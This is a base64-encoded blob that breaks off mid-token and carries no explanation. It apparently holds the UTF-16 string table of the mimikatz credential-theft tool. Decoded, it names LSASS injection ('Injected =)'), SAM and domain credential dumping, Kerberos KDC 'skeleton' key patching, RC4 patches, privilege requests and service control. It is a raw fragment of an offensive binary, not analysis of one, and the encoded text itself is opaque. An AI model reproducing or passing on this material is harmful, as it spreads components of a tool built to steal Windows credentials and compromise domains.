AwADAAMAAwACAAPwAAAAAAMAB4ADIAMAAwADAAMAAwADAAMAAgAD8AAAAAADAAeAA0ADAAMAAwADAAMAAwADAAIAA/AAAAAAAwAHgAOAAwADAAMAAwADAAMAAwACAAPwAAAAAARABPAE0AQQBJAE4AXwBPAEIASgBFAEMAVAAAAEcAUgBPAFUAUABfAE8AQgBKAEUAQwBUAAAAAABOAE8ATgBfAFMARQBDAFUAUgBJAFQAWQBfAEcAUgBPAFUAUABfAE8AQgBKAEUAQwBUAAAAQQBMAEkAQQBTAF8ATwBCAEoARQBDAFQAAAAAAE4ATwBOAF8AUwBFAEMAVQBSAEkAVABZAF8AQQBMAEkAQQBTAF8ATwBCAEoARQBDAFQAAABVAFMARQBSAF8ATwBCAEoARQBDAFQAAABNAEEAQwBIAEkATgBFAF8AQQBDAEMATwBVAE4AVAAAAFQAUgBVAFMAVABfAEEAQwBDAE8AVQBOAFQAAABBAFAAUABfAEIAQQBTAEkAQwBfAEcAUgBPAFUAUAAAAEEAUABQAF8AUQBVAEUAUgBZAF8ARwBSAE8AVQBQAAAAKgAqACAAUwBBAE0AIABBAEMAQwBPAFUATgBUACAAKgAqAAoACgAAAFMAQQBNACAAVQBzAGUAcgBuAGEAbQBlACAAIAAgACAAIAAgACAAIAAgADoAIAAAAFUAcwBlAHIAIABQAHIAaQBuAGMAaQBwAGEAbAAgAE4AYQBtAGUAIAAgADoAIAAAAEEAYwBjAG8AdQBuAHQAIABUAHkAcABlACAAIAAgACAAIAAgACAAIAAgADoAIAAlADAAOAB4ACAAKAAgACUAcwAgACkACgAAAFUAcwBlAHIAIABBAGMAYwBvAHUAbgB0ACAAQwBvAG4AdAByAG8AbAAgADoAIAAlADAAOAB4ACAAKAAgAAAAAABBAGMAYwBvAHUAbgB0ACAAZQB4AHAAaQByAGEAdABpAG8AbgAgACAAIAA6ACAAAABQAGEAcwBzAHcAbwByAGQAIABsAGEAcwB0ACAAYwBoAGEAbgBnAGUAIAA6ACAAAABPAGIAagBlAGMAdAAgAFMAZQBjAHUAcgBpAHQAeQAgAEkARAAgACAAIAA6ACAAAABPAGIAagBlAGMAdAAgAFIAZQBsAGEAdABpAHYAZQAgAEkARAAgACAAIAA6ACAAJQB1AAoAAAAAAAoAQwByAGUAZABlAG4AdABpAGEAbABzADoACgAAAAAAbABtACAAIAAAAAAACgBTAHUAcABwAGwAZQBtAGUAbgB0AGEAbAAgAEMAcgBlAGQAZQBuAHQAaQBhAGwAcwA6AAoAAAAqACAAJQB3AFoAIAAqAAoAAAAAACUwMngAAAAAIAAgACAAIABVAG4AawBuAG8AdwBuACAAZABhAHQAYQAgADoAIAAAACoAKgAgAFQAUgBVAFMAVABFAEQAIABEAE8ATQBBAEkATgAgAC0AIABBAG4AdABpAHMAbwBjAGkAYQBsACAAKgAqAAoACgAAAFAAYQByAHQAbgBlAHIAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAlAHcAWgAKAAAAYQBjAGMAbwB1AG4AdAAAAGMAbwBtAHAAdQB0AGUAcgAAAAAAIAAgAEEAYwBjAG8AdQBuAHQAOgAgACUAcwAKAAAAAAAgACAATgBUAEwATQAgACAAIAA6ACAAAAAgACAATgBUAEwATQAtADEAIAA6ACAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AbgBlAHQAcwB5AG4AYwAgADsAIABJAF8ATgBlAHQAUwBlAHIAdgBlAHIAVAByAHUAcwB0AFAAYQBzAHMAdwBvAHIAZABzAEcAZQB0ACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AbgBlAHQAcwB5AG4AYwAgADsAIABTAGUAcgB2AGUAcgBDAHIAZQBkAGUAbgB0AGkAYQBsACAAZABvAGUAcwAgAG4AbwB0ACAAbQBhAHQAYwBoACAAQwBhAG4AZABpAGQAYQB0AGUAUwBlAHIAdgBlAHIAQwByAGUAZABlAG4AdABpAGEAbAAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAG4AZQB0AHMAeQBuAGMAIAA7ACAASQBfAE4AZQB0AFMAZQByAHYAZQByAEEAdQB0AGgAZQBuAHQAaQBjAGEAdABlADIAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBuAGUAdABzAHkAbgBjACAAOwAgAEkAXwBOAGUAdABTAGUAcgB2AGUAcgBSAGUAcQBDAGgAYQBsAGwAZQBuAGcAZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AbgBlAHQAcwB5AG4AYwAgADsAIABuAHQAbABtACAAaABhAHMAaAAvAHIAYwA0ACAAawBlAHkAIABsAGUAbgBnAHQAaAAgAG0AdQBzAHQAIABiAGUAIAAzADIAIAAoADEANgAgAGIAeQB0AGUAcwApAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAG4AZQB0AHMAeQBuAGMAIAA7ACAATQBpAHMAcwBpAG4AZwAgAGEAcgBnAHUAbQBlAG4AdAAgADoAIABuAHQAbABtAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBuAGUAdABzAHkAbgBjACAAOwAgAE0AaQBzAHMAaQBuAGcAIABhAHIAZwB1AG0AZQBuAHQAIAA6ACAAdQBzAGUAcgAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AbgBlAHQAcwB5AG4AYwAgADsAIABNAGkAcwBzAGkAbgBnACAAYQByAGcAdQBtAGUAbgB0ACAAOgAgAGQAYwAKAAAAYwBtAGQAAAAAAAAAQwBvAG0AbQBhAG4AZAAgAFAAcgBvAG0AcAB0ACAAIAAgACAAIAAgACAAIAAgACAAKAB3AGkAdABoAG8AdQB0ACAARABpAHMAYQBiAGwAZQBDAE0ARAApAAAAAAByAGUAZwBlAGQAaQB0AAAAAAAAAFIAZQBnAGkAcwB0AHIAeQAgAEUAZABpAHQAbwByACAAIAAgACAAIAAgACAAIAAgACgAdwBpAHQAaABvAHUAdAAgAEQAaQBzAGEAYgBsAGUAUgBlAGcAaQBzAHQAcgB5AFQAbwBvAGwAcwApAAAAAAB0AGEAcwBrAG0AZwByAAAAVABhAHMAawAgAE0AYQBuAGEAZwBlAHIAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKAB3AGkAdABoAG8AdQB0ACAARABpAHMAYQBiAGwAZQBUAGEAcwBrAE0AZwByACkAAAAAAG4AYwByAG8AdQB0AGUAbQBvAG4AAAAAAAAAAABKAHUAbgBpAHAAZQByACAATgBlAHQAdwBvAHIAawAgAEMAbwBuAG4AZQBjAHQAIAAoAHcAaQB0AGgAbwB1AHQAIAByAG8AdQB0AGUAIABtAG8AbgBpAHQAbwByAGkAbgBnACkAAAAAAGQAZQB0AG8AdQByAHMAAABbAGUAeABwAGUAcgBpAG0AZQBuAHQAYQBsAF0AIABUAHIAeQAgAHQAbwAgAGUAbgB1AG0AZQByAGEAdABlACAAYQBsAGwAIABtAG8AZAB1AGwAZQBzACAAdwBpAHQAaAAgAEQAZQB0AG8AdQByAHMALQBsAGkAawBlACAAaABvAG8AawBzAAAAbQBlAG0AcwBzAHAAAAAAAHMAawBlAGwAZQB0AG8AbgAAAAAAYwBvAG0AcAByAGUAcwBzAG0AZQAAAAAAbQBpAHMAYwAAAAAATQBpAHMAYwBlAGwAbABhAG4AZQBvAHUAcwAgAG0AbwBkAHUAbABlAAAAAABLAGkAdwBpAEEAbgBkAEMATQBEAAAAAABEAGkAcwBhAGIAbABlAEMATQBEAAAAAABjAG0AZAAuAGUAeABlAAAASwBpAHcAaQBBAG4AZABSAGUAZwBpAHMAdAByAHkAVABvAG8AbABzAAAAAABEAGkAcwBhAGIAbABlAFIAZQBnAGkAcwB0AHIAeQBUAG8AbwBsAHMAAAAAAHIAZQBnAGUAZABpAHQALgBlAHgAZQAAAEsAaQB3AGkAQQBuAGQAVABhAHMAawBNAGcAcgAAAAAARABpAHMAYQBiAGwAZQBUAGEAcwBrAE0AZwByAAAAAAB0AGEAcwBrAG0AZwByAC4AZQB4AGUAAABkAHMATgBjAFMAZQByAHYAaQBjAGUAAAAJACgAJQB3AFoAKQAAAAAACQBbACUAdQBdACAAJQB3AFoAIAAhACAAAAAAACUALQAzADIAUwAAACMAIAAlAHUAAAAAAAkAIAAlAHAAIAAtAD4AIAAlAHAAAAAAACUAdwBaACAAKAAlAHUAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAHMAYwBfAGQAZQB0AG8AdQByAHMAXwBjAGEAbABsAGIAYQBjAGsAXwBwAHIAbwBjAGUAcwBzACAAOwAgAE8AcABlAG4AUAByAG8AYwBlAHMAcwAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABQAGEAdABjAGgAIABPAEsAIABmAG8AcgAgACcAJQBzACcAIABmAHIAbwBtACAAJwAlAHMAJwAgAHQAbwAgACcAJQBzACcAIABAACAAJQBwAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAcwBjAF8AZwBlAG4AZQByAGkAYwBfAG4AbwBnAHAAbwBfAHAAYQB0AGMAaAAgADsAIABrAHUAbABsAF8AbQBfAHAAYQB0AGMAaAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABtAHMAdgBjAHIAdAAuAGQAbABsAAAAAABmb3BlbgAAAGZ3cHJpbnRmAAAAAGZjbG9zZQAAbABzAGEAcwBzAC4AZQB4AGUAAABtAHMAdgAxAF8AMAAuAGQAbABsAAAAAABJAG4AagBlAGMAdABlAGQAIAA9ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAHMAYwBfAG0AZQBtAHMAcwBwACAAOwAgAGsAdQBsAGwAXwBtAF8AbQBlAG0AbwByAHkAXwBjAG8AcAB5ACAALQAgAFQAcgBhAG0AcABvAGwAaQBuAGUAIABuADAAIAAoADAAeAAlADAAOAB4ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAHMAYwBfAG0AZQBtAHMAcwBwACAAOwAgAGsAdQBsAGwAXwBtAF8AcgBlAG0AbwB0AGUAbABpAGIAXwBDAHIAZQBhAHQAZQBSAGUAbQBvAHQAZQBDAG8AZABlAFcAaQB0AHQAaABQAGEAdAB0AGUAcgBuAFIAZQBwAGwAYQBjAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBzAGMAXwBtAGUAbQBzAHMAcAAgADsAIABrAHUAbABsAF8AbQBfAG0AZQBtAG8AcgB5AF8AYwBvAHAAeQAgAC0AIABUAHIAYQBtAHAAbwBsAGkAbgBlACAAbgAxACAAKAAwAHgAJQAwADgAeAApAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBzAGMAXwBtAGUAbQBzAHMAcAAgADsAIABrAHUAbABsAF8AbQBfAG0AZQBtAG8AcgB5AF8AYwBvAHAAeQAgAC0AIAByAGUAYQBsACAAYQBzAG0AIAAoADAAeAAlADAAOAB4ACkACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAcwBjAF8AbQBlAG0AcwBzAHAAIAA7ACAAawB1AGwAbABfAG0AXwBtAGUAbQBvAHIAeQBfAHMAZQBhAHIAYwBoACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAcwBjAF8AbQBlAG0AcwBzAHAAIAA7ACAATwBwAGUAbgBQAHIAbwBjAGUAcwBzACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBzAGMAXwBtAGUAbQBzAHMAcAAgADsAIABrAHUAbABsAF8AbQBfAHAAcgBvAGMAZQBzAHMAXwBnAGUAdABQAHIAbwBjAGUAcwBzAEkAZABGAG8AcgBOAGEAbQBlACAAKAAwAHgAJQAwADgAeAApAAoAAABMb2NhbEFsbG9jAABsAGUAdABhAGUAcwAAAAAAawBkAGMAcwB2AGMALgBkAGwAbAAAAAAAWwBLAEQAQwBdACAAZABhAHQAYQAKAAAAWwBLAEQAQwBdACAAcwB0AHIAdQBjAHQACgAAAFsASwBEAEMAXQAgAGsAZQB5AHMAIABwAGEAdABjAGgAIABPAEsACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAHMAYwBfAHMAawBlAGwAZQB0AG8AbgAgADsAIABTAGUAYwBvAG4AZAAgAHAAYQB0AHQAZQByAG4AIABuAG8AdAAgAGYAbwB1AG4AZAAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBzAGMAXwBzAGsAZQBsAGUAdABvAG4AIAA7ACAARgBpAHIAcwB0ACAAcABhAHQAdABlAHIAbgAgAG4AbwB0ACAAZgBvAHUAbgBkAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAcwBjAF8AcwBrAGUAbABlAHQAbwBuACAAOwAgAGsAdQBsAGwAXwBtAF8AcAByAG8AYwBlAHMAcwBfAGcAZQB0AFYAZQByAHkAQgBhAHMAaQBjAE0AbwBkAHUAbABlAEkAbgBmAG8AcgBtAGEAdABpAG8AbgBzAEYAbwByAE4AYQBtAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAGMAcgB5AHAAdABkAGwAbAAuAGQAbABsAAAAAABbAFIAQwA0AF0AIABmAHUAbgBjAHQAaQBvAG4AcwAKAAAAAABbAFIAQwA0AF0AIABpAG4AaQB0ACAAcABhAHQAYwBoACAATwBLAAoAAAAAAFsAUgBDADQAXQAgAGQAZQBjAHIAeQBwAHQAIABwAGEAdABjAGgAIABPAEsACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBzAGMAXwBzAGsAZQBsAGUAdABvAG4AIAA7ACAAVQBuAGEAYgBsAGUAIAB0AG8AIABjAHIAZQBhAHQAZQAgAHIAZQBtAG8AdABlACAAZgB1AG4AYwB0AGkAbwBuAHMACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAHMAYwBfAHMAawBlAGwAZQB0AG8AbgAgADsAIABPAHAAZQBuAFAAcgBvAGMAZQBzAHMAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAVQBzAGkAbgBnACAAJwAlAHMAJwAgAGEAcwAgAGkAbgBwAHUAdAAgAGYAaQBsAGUACgAAACAAKgAgAE8AcgBpAGcAaQBuAGEAbAAgAHMAaQB6AGUAIAAgADoAIAAlAHUACgAAAG0AaQBtAGkAawBhAHQAegBfAHgAOAA2AC4AYwBvAG0AcAByAGUAcwBzAGUAZAAAAAAAAAAgACoAIABDAG8AbQBwAHIAZQBzAHMAZQBkACAAcwBpAHoAZQA6ACAAJQB1ACAAKAAlAC4AMgBmACUAJQApAAoAVQBzAGkAbgBnACAAJwAlAHMAJwAgAGEAcwAgAG8AdQB0AHAAdQB0ACAAZgBpAGwAZQAuAC4ALgAgAAAATwBLACEACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAcwBjAF8AYwBvAG0AcAByAGUAcwBzAG0AZQAgADsAIABrAHUAbABsAF8AbQBfAGYAaQBsAGUAXwB3AHIAaQB0AGUARABhAHQAYQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABsAG8AYwBhAGwAZwByAG8AdQBwAAAAAABnAHIAbwB1AHAAAABuAGUAdAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG4AZQB0AF8AdQBzAGUAcgAgADsAIABTAGEAbQBPAHAAZQBuAEQAbwBtAGEAaQBuACAAQgB1AGkAbAB0AGkAbgAgACgAPwApACAAJQAwADgAeAAKAAAACgBEAG8AbQBhAGkAbgAgAG4AYQBtAGUAIAA6ACAAJQB3AFoAAAAAAAoARABvAG0AYQBpAG4AIABTAEkARAAgACAAOgAgAAAACgAgACUALQA1AHUAIAAlAHcAWgAAAAAACgAgAHwAIAAlAC0ANQB1ACAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBuAGUAdABfAHUAcwBlAHIAIAA7ACAAUwBhAG0ATABvAG8AawB1AHAASQBkAHMASQBuAEQAbwBtAGEAaQBuACAAJQAwADgAeAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG4AZQB0AF8AdQBzAGUAcgAgADsAIABTAGEAbQBHAGUAdABHAHIAbwB1AHAAcwBGAG8AcgBVAHMAZQByACAAJQAwADgAeAAAAAAACgAgAHwAYAAlAC0ANQB1ACAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG4AZQB0AF8AdQBzAGUAcgAgADsAIABTAGEAbQBHAGUAdABBAGwAaQBhAHMATQBlAG0AYgBlAHIAcwBoAGkAcAAgACUAMAA4AHgAAAAAAAoAIAB8ALQAJQAtADUAdQAgAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbgBlAHQAXwB1AHMAZQByACAAOwAgAFMAYQBtAFIAaQBkAFQAbwBTAGkAZAAgACUAMAA4AHgAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG4AZQB0AF8AdQBzAGUAcgAgADsAIABTAGEAbQBPAHAAZQBuAFUAcwBlAHIAIAAlADAAOAB4AAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBuAGUAdABfAHUAcwBlAHIAIAA7ACAAUwBhAG0ARQBuAHUAbQBlAHIAYQB0AGUAVQBzAGUAcgBzAEkAbgBEAG8AbQBhAGkAbgAgACUAMAA4AHgAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbgBlAHQAXwB1AHMAZQByACAAOwAgAFMAYQBtAE8AcABlAG4ARABvAG0AYQBpAG4AIAAlADAAOAB4AAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG4AZQB0AF8AdQBzAGUAcgAgADsAIABTAGEAbQBMAG8AbwBrAHUAcABEAG8AbQBhAGkAbgBJAG4AUwBhAG0AUwBlAHIAdgBlAHIAIAAlADAAOAB4AAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBuAGUAdABfAHUAcwBlAHIAIAA7ACAAUwBhAG0ARQBuAHUAbQBlAHIAYQB0AGUARABvAG0AYQBpAG4AcwBJAG4AUwBhAG0AUwBlAHIAdgBlAHIAIAAlADAAOAB4AAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG4AZQB0AF8AdQBzAGUAcgAgADsAIABTAGEAbQBDAG8AbgBuAGUAYwB0ACAAJQAwADgAeAAKAAAAAABkAGUAYgB1AGcAAABBAHMAawAgAGQAZQBiAHUAZwAgAHAAcgBpAHYAaQBsAGUAZwBlAAAAZAByAGkAdgBlAHIAAAAAAEEAcwBrACAAbABvAGEAZAAgAGQAcgBpAHYAZQByACAAcAByAGkAdgBpAGwAZQBnAGUAAABBAHMAawAgAHMAZQBjAHUAcgBpAHQAeQAgAHAAcgBpAHYAaQBsAGUAZwBlAAAAAAB0AGMAYgAAAEEAcwBrACAAdABjAGIAIABwAHIAaQB2AGkAbABlAGcAZQAAAGIAYQBjAGsAdQBwAAAAAABBAHMAawAgAGIAYQBjAGsAdQBwACAAcAByAGkAdgBpAGwAZQBnAGUAAAAAAHIAZQBzAHQAbwByAGUAAABBAHMAawAgAHIAZQBzAHQAbwByAGUAIABwAHIAaQB2AGkAbABlAGcAZQAAAHMAeQBzAGUAbgB2AAAAAABBAHMAawAgAHMAeQBzAHQAZQBtACAAZQBuAHYAaQByAG8AbgBtAGUAbgB0ACAAcAByAGkAdgBpAGwAZQBnAGUAAAAAAEEAcwBrACAAYQAgAHAAcgBpAHYAaQBsAGUAZwBlACAAYgB5ACAAaQB0AHMAIABpAGQAAABBAHMAawAgAGEAIABwAHIAaQB2AGkAbABlAGcAZQAgAGIAeQAgAGkAdABzACAAbgBhAG0AZQAAAHAAcgBpAHYAaQBsAGUAZwBlAAAAUAByAGkAdgBpAGwAZQBnAGUAIABtAG8AZAB1AGwAZQAAAAAAUAByAGkAdgBpAGwAZQBnAGUAIAAnACUAdQAnACAATwBLAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcAByAGkAdgBpAGwAZQBnAGUAXwBzAGkAbQBwAGwAZQAgADsAIABSAHQAbABBAGQAagB1AHMAdABQAHIAaQB2AGkAbABlAGcAZQAgACgAJQB1ACkAIAAlADAAOAB4AAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBwAHIAaQB2AGkAbABlAGcAZQBfAGkAZAAgADsAIABNAGkAcwBzAGkAbgBnACAAJwBpAGQAJwAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcAByAGkAdgBpAGwAZQBnAGUAXwBuAGEAbQBlACAAOwAgAEwAVQBJAEQAIABoAGkAZwBoACAAcABhAHIAdAAgAGkAcwAgACUAdQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBwAHIAaQB2AGkAbABlAGcAZQBfAG4AYQBtAGUAIAA7ACAATABvAG8AawB1AHAAUAByAGkAdgBpAGwAZQBnAGUAVgBhAGwAdQBlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHAAcgBpAHYAaQBsAGUAZwBlAF8AbgBhAG0AZQAgADsAIABNAGkAcwBzAGkAbgBnACAAJwBuAGEAbQBlACcACgAAAGUAeABwAG8AcgB0AHMAAABMAGkAcwB0ACAAZQB4AHAAbwByAHQAcwAAAAAAaQBtAHAAbwByAHQAcwAAAEwAaQBzAHQAIABpAG0AcABvAHIAdABzAAAAAABzAHQAYQByAHQAAABTAHQAYQByAHQAIABhACAAcAByAG8AYwBlAHMAcwAAAHMAdABvAHAAAAAAAFQAZQByAG0AaQBuAGEAdABlACAAYQAgAHAAcgBvAGMAZQBzAHMAAABzAHUAcwBwAGUAbgBkAAAAUwB1AHMAcABlAG4AZAAgAGEAIABwAHIAbwBjAGUAcwBzAAAAcgBlAHMAdQBtAGUAAAAAAFIAZQBzAHUAbQBlACAAYQAgAHAAcgBvAGMAZQBzAHMAAAAAAFAAcgBvAGMAZQBzAHMAIABtAG8AZAB1AGwAZQAAAAAAVAByAHkAaQBuAGcAIAB0AG8AIABzAHQAYQByAHQAIAAiACUAcwAiACAAOgAgAAAATwBLACAAIQAgACgAUABJAEQAIAAlAHUAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBwAHIAbwBjAGUAcwBzAF8AcwB0AGEAcgB0ACAAOwAgAGsAdQBsAGwAXwBtAF8AcAByAG8AYwBlAHMAcwBfAGMAcgBlAGEAdABlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAE4AdABUAGUAcgBtAGkAbgBhAHQAZQBQAHIAbwBjAGUAcwBzAAAAAABOAHQAUwB1AHMAcABlAG4AZABQAHIAbwBjAGUAcwBzAAAAAABOAHQAUgBlAHMAdQBtAGUAUAByAG8AYwBlAHMAcwAAACUAcwAgAG8AZgAgACUAdQAgAFAASQBEACAAOgAgAE8ASwAgACEACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcAByAG8AYwBlAHMAcwBfAGcAZQBuAGUAcgBpAGMATwBwAGUAcgBhAHQAaQBvAG4AIAA7ACAAJQBzACAAMAB4ACUAMAA4AHgACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBwAHIAbwBjAGUAcwBzAF8AZwBlAG4AZQByAGkAYwBPAHAAZQByAGEAdABpAG8AbgAgADsAIABPAHAAZQBuAFAAcgBvAGMAZQBzAHMAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHAAcgBvAGMAZQBzAHMAXwBnAGUAbgBlAHIAaQBjAE8AcABlAHIAYQB0AGkAbwBuACAAOwAgAHAAaQBkACAAKAAvAHAAaQBkADoAMQAyADMAKQAgAGkAcwAgAG0AaQBzAHMAaQBuAGcAAAAlAHUACQAlAHcAWgAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcAByAG8AYwBlAHMAcwBfAGMAYQBsAGwAYgBhAGMAawBQAHIAbwBjAGUAcwBzACAAOwAgAE8AcABlAG4AUAByAG8AYwBlAHMAcwAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBwAHIAbwBjAGUAcwBzAF8AYwBhAGwAbABiAGEAYwBrAFAAcgBvAGMAZQBzAHMAIAA7ACAAawB1AGwAbABfAG0AXwBtAGUAbQBvAHIAeQBfAG8AcABlAG4AIAAoADAAeAAlADAAOAB4ACkACgAAAAoAJQB3AFoAAAAAAAoACQAlAHAAIAAtAD4AIAAlAHUAAAAAAAkAJQB1AAAACQAgAAAAAAAJACUAcAAAAAkAJQBTAAAACQAtAD4AIAAlAFMAAAAAAAoACQAlAHAAIAAtAD4AIAAlAHAACQAlAFMAIAAhACAAAAAAACUAUwAAAAAAIwAlAHUAAABTAHQAYQByAHQAIABzAGUAcgB2AGkAYwBlAAAAUgBlAG0AbwB2AGUAIABzAGUAcgB2AGkAYwBlAAAAAABTAHQAbwBwACAAcwBlAHIAdgBpAGMAZQAAAAAAUwB1AHMAcABlAG4AZAAgAHMAZQByAHYAaQBjAGUAAABSAGUAcwB1AG0AZQAgAHMAZQByAHYAaQBjAGUAAAAAAHAAcgBlAHMAaAB1AHQAZABvAHcAbgAAAFAAcgBlAHMAaAB1AHQAZABvAHcAbgAgAHMAZQByAHYAaQBjAGUAAABzAGgAdQB0AGQAbwB3AG4AAAAAAFMAaAB1AHQAZABvAHcAbgAgAHMAZQByAHYAaQBjAGUAAAAAAEwAaQBzAHQAIABzAGUAcgB2AGkAYwBlAHMAAABTAGUAcgB2AGkAYwBlACAAbQBvAGQAdQBsAGUAAAAAACUAcwAgACcAJQBzACcAIABzAGUAcgB2AGkAYwBlACAAOgAgAAAAAAAAAAAARQBSAFIATwBSACAAZwBlAG4AZQByAGkAYwBGAHUAbgBjAHQAaQBvAG4AIAA7ACAAUwBlAHIAdgBpAGMAZQAgAG8AcABlAHIAYQB0AGkAbwBuACAAKAAwAHgAJQAwADgAeAApAAoAAABFAFIAUgBPAFIAIABnAGUAbgBlAHIAaQBjAEYAdQBuAGMAdABpAG8AbgAgADsAIABJAG4AagBlAGMAdAAgAG4AbwB0ACAAYQB2AGEAaQBsAGEAYgBsAGUACgAAAAAAAABFAFIAUgBPAFIAIABnAGUAbgBlAHIAaQBjAEYAdQBuAGMAdABpAG8AbgAgADsAIABNAGkAcwBzAGkAbgBnACAAcwBlAHIAdgBpAGMAZQAgAG4AYQBtAGUAIABhAHIAZwB1AG0AZQBuAHQACgAAAAAAUwB0AGEAcgB0AGkAbgBnAAAAAABSAGUAbQBvAHYAaQBuAGcAAAAAAFMAdABvAHAAcABpAG4AZwAAAAAAUwB1AHMAcABlAG4AZABpAG4AZwAAAAAAUgBlAHMAdQBtAGkAbgBnAAAAAABQAHIAZQBzAGgAdQB0AGQAbwB3AG4AAABTAGgAdQB0AGQAbwB3AG4AAAAAAHMAZQByAHYAaQBjAGUAcwAuAGUAeABlAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AcwBlAHIAdgBpAGMAZQBfAHMAZQBuAGQAYwBvAG4AdAByAG8AbABfAGkAbgBwAHIAbwBjAGUAcwBzACAAOwAgAGsAdQBsAGwAXwBtAF8AbQBlAG0AbwByAHkAXwBzAGUAYQByAGMAaAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAZQByAHIAbwByACAAJQB1AAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AcwBlAHIAdgBpAGMAZQBfAHMAZQBuAGQAYwBvAG4AdAByAG8AbABfAGkAbgBwAHIAbwBjAGUAcwBzACAAOwAgAGsAdQBsAGwAXwBtAF8AcgBlAG0AbwB0AGUAbABpAGIAXwBjAHIAZQBhAHQAZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAHMAZQByAHYAaQBjAGUAXwBzAGUAbgBkAGMAbwBuAHQAcgBvAGwAXwBpAG4AcAByAG8AYwBlAHMAcwAgADsAIABrAHUAbABsAF8AbQBfAHIAZQBtAG8AdABlAGwAaQBiAF8AQwByAGUAYQB0AGUAUgBlAG0AbwB0AGUAQwBvAGQAZQBXAGkAdAB0AGgAUABhAHQAdABlAHIAbgBSAGUAcABsAGEAYwBlAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AcwBlAHIAdgBpAGMAZQBfAHMAZQBuAGQAYwBvAG4AdAByAG8AbABfAGkAbgBwAHIAbwBjAGUAcwBzACAAOwAgAE4AbwB0ACAAYQB2AGEAaQBsAGEAYgBsAGUAIAB3AGkAdABoAG8AdQB0ACAAUwBjAFMAZQBuAGQAQwBvAG4AdAByAG8AbAAKAAAARQBSAFI